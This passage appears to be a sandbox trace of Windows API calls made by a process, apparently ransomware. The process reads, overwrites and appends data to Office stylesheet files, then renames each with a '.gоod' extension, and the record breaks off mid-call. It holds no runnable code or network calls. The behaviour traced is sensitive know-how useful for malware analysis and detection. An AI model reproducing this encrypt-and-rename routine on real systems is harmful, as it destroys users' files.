GetFileType (hFile=0x828) returned 0x1 [0256.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.933] GetFileType (hFile=0x828) returned 0x1 [0256.933] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1f998 [0256.934] WriteFile (in: hFile=0x828, lpBuffer=0x3c61098*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3c61098*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0256.934] CloseHandle (hObject=0x828) returned 1 [0256.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", lpFilePart=0x0) returned 0x4a [0256.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.935] GetFileType (hFile=0x828) returned 0x1 [0256.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.935] GetFileType (hFile=0x828) returned 0x1 [0256.935] ReadFile (in: hFile=0x828, lpBuffer=0x3c63360, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3c63360*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0256.963] CloseHandle (hObject=0x828) returned 1 [0256.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", lpFilePart=0x0) returned 0x4a [0256.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.963] GetFileType (hFile=0x828) returned 0x1 [0256.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.963] GetFileType (hFile=0x828) returned 0x1 [0256.963] WriteFile (in: hFile=0x828, lpBuffer=0x3c620b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3c620b0*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0256.963] CloseHandle (hObject=0x828) returned 1 [0256.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS", lpFilePart=0x0) returned 0x4a [0256.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS.gоod", lpFilePart=0x0) returned 0x4f [0256.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0256.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9560e509, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f9a8)) returned 1 [0256.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0256.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css.gоod")) returned 1 [0256.964] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", lpFilePart=0x0) returned 0x4a [0256.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0256.965] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), fInfoLevelId=0x0, lpFileInformation=0x3cdf770 | out: lpFileInformation=0x3cdf770*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20444)) returned 1 [0256.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0256.965] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", lpFilePart=0x0) returned 0x4a [0256.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0256.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.965] GetFileType (hFile=0x828) returned 0x1 [0256.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0256.965] GetFileType (hFile=0x828) returned 0x1 [0256.965] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0256.966] ReadFile (in: hFile=0x828, lpBuffer=0x3cdfb98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3cdfb98*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0258.009] CloseHandle (hObject=0x828) returned 1 [0258.740] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", lpFilePart=0x0) returned 0x4a [0258.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0258.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0258.740] GetFileType (hFile=0x834) returned 0x1 [0258.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0258.770] GetFileType (hFile=0x834) returned 0x1 [0258.830] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x20444 [0258.830] WriteFile (in: hFile=0x834, lpBuffer=0x37c63e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x37c63e8*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0258.831] CloseHandle (hObject=0x834) returned 1 [0258.831] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", lpFilePart=0x0) returned 0x4a [0258.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0258.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0258.831] GetFileType (hFile=0x834) returned 0x1 [0258.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0258.831] GetFileType (hFile=0x834) returned 0x1 [0258.831] ReadFile (in: hFile=0x834, lpBuffer=0x37c8930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x37c8930*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0258.859] CloseHandle (hObject=0x834) returned 1 [0258.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", lpFilePart=0x0) returned 0x4a [0258.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0258.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0258.860] GetFileType (hFile=0x834) returned 0x1 [0258.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0258.860] GetFileType (hFile=0x834) returned 0x1 [0258.860] WriteFile (in: hFile=0x834, lpBuffer=0x37c7680*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x37c7680*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0258.860] CloseHandle (hObject=0x834) returned 1 [0258.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS", lpFilePart=0x0) returned 0x4a [0258.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS.gоod", lpFilePart=0x0) returned 0x4f [0258.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0258.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x96816324, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20454)) returned 1 [0258.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0258.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css.gоod")) returned 1 [0258.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", lpFilePart=0x0) returned 0x4a [0258.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0258.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), fInfoLevelId=0x0, lpFileInformation=0x3844d40 | out: lpFileInformation=0x3844d40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2072a)) returned 1 [0258.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0258.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", lpFilePart=0x0) returned 0x4a [0258.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0258.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0258.862] GetFileType (hFile=0x834) returned 0x1 [0258.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0258.862] GetFileType (hFile=0x834) returned 0x1 [0258.862] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0258.862] ReadFile (in: hFile=0x834, lpBuffer=0x3845168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3845168*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0258.863] CloseHandle (hObject=0x834) returned 1 [0258.863] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", lpFilePart=0x0) returned 0x4a [0258.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0258.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0258.863] GetFileType (hFile=0x834) returned 0x1 [0258.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0258.863] GetFileType (hFile=0x834) returned 0x1 [0258.863] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x2072a [0258.863] WriteFile (in: hFile=0x834, lpBuffer=0x3846520*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3846520*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0259.125] CloseHandle (hObject=0x834) returned 1 [0259.125] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", lpFilePart=0x0) returned 0x4a [0259.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0259.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0259.125] GetFileType (hFile=0x834) returned 0x1 [0259.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0259.125] GetFileType (hFile=0x834) returned 0x1 [0259.125] ReadFile (in: hFile=0x834, lpBuffer=0x3857828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3857828*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0259.152] CloseHandle (hObject=0x834) returned 1 [0259.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", lpFilePart=0x0) returned 0x4a [0259.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0259.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0259.152] GetFileType (hFile=0x834) returned 0x1 [0259.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0259.152] GetFileType (hFile=0x834) returned 0x1 [0259.152] WriteFile (in: hFile=0x834, lpBuffer=0x3856578*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3856578*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0259.152] CloseHandle (hObject=0x834) returned 1 [0259.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS", lpFilePart=0x0) returned 0x4a [0259.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS.gоod", lpFilePart=0x0) returned 0x4f [0259.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0259.153] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x96adde19, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2073a)) returned 1 [0259.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0259.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css.gоod")) returned 1 [0259.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", lpFilePart=0x0) returned 0x4a [0259.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0259.154] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), fInfoLevelId=0x0, lpFileInformation=0x38d4c68 | out: lpFileInformation=0x38d4c68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa4c084e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa4c084e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa50cd6f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20030)) returned 1 [0259.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0259.154] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", lpFilePart=0x0) returned 0x4a [0259.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0259.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0259.155] GetFileType (hFile=0x834) returned 0x1 [0259.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0259.155] GetFileType (hFile=0x834) returned 0x1 [0259.155] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0259.155] ReadFile (in: hFile=0x834, lpBuffer=0x38d5090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x38d5090*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0259.156] CloseHandle (hObject=0x834) returned 1 [0259.156] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", lpFilePart=0x0) returned 0x4a [0259.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0259.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0259.156] GetFileType (hFile=0x834) returned 0x1 [0259.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0259.156] GetFileType (hFile=0x834) returned 0x1 [0259.156] SetFilePointer (in: hFile=0x834, 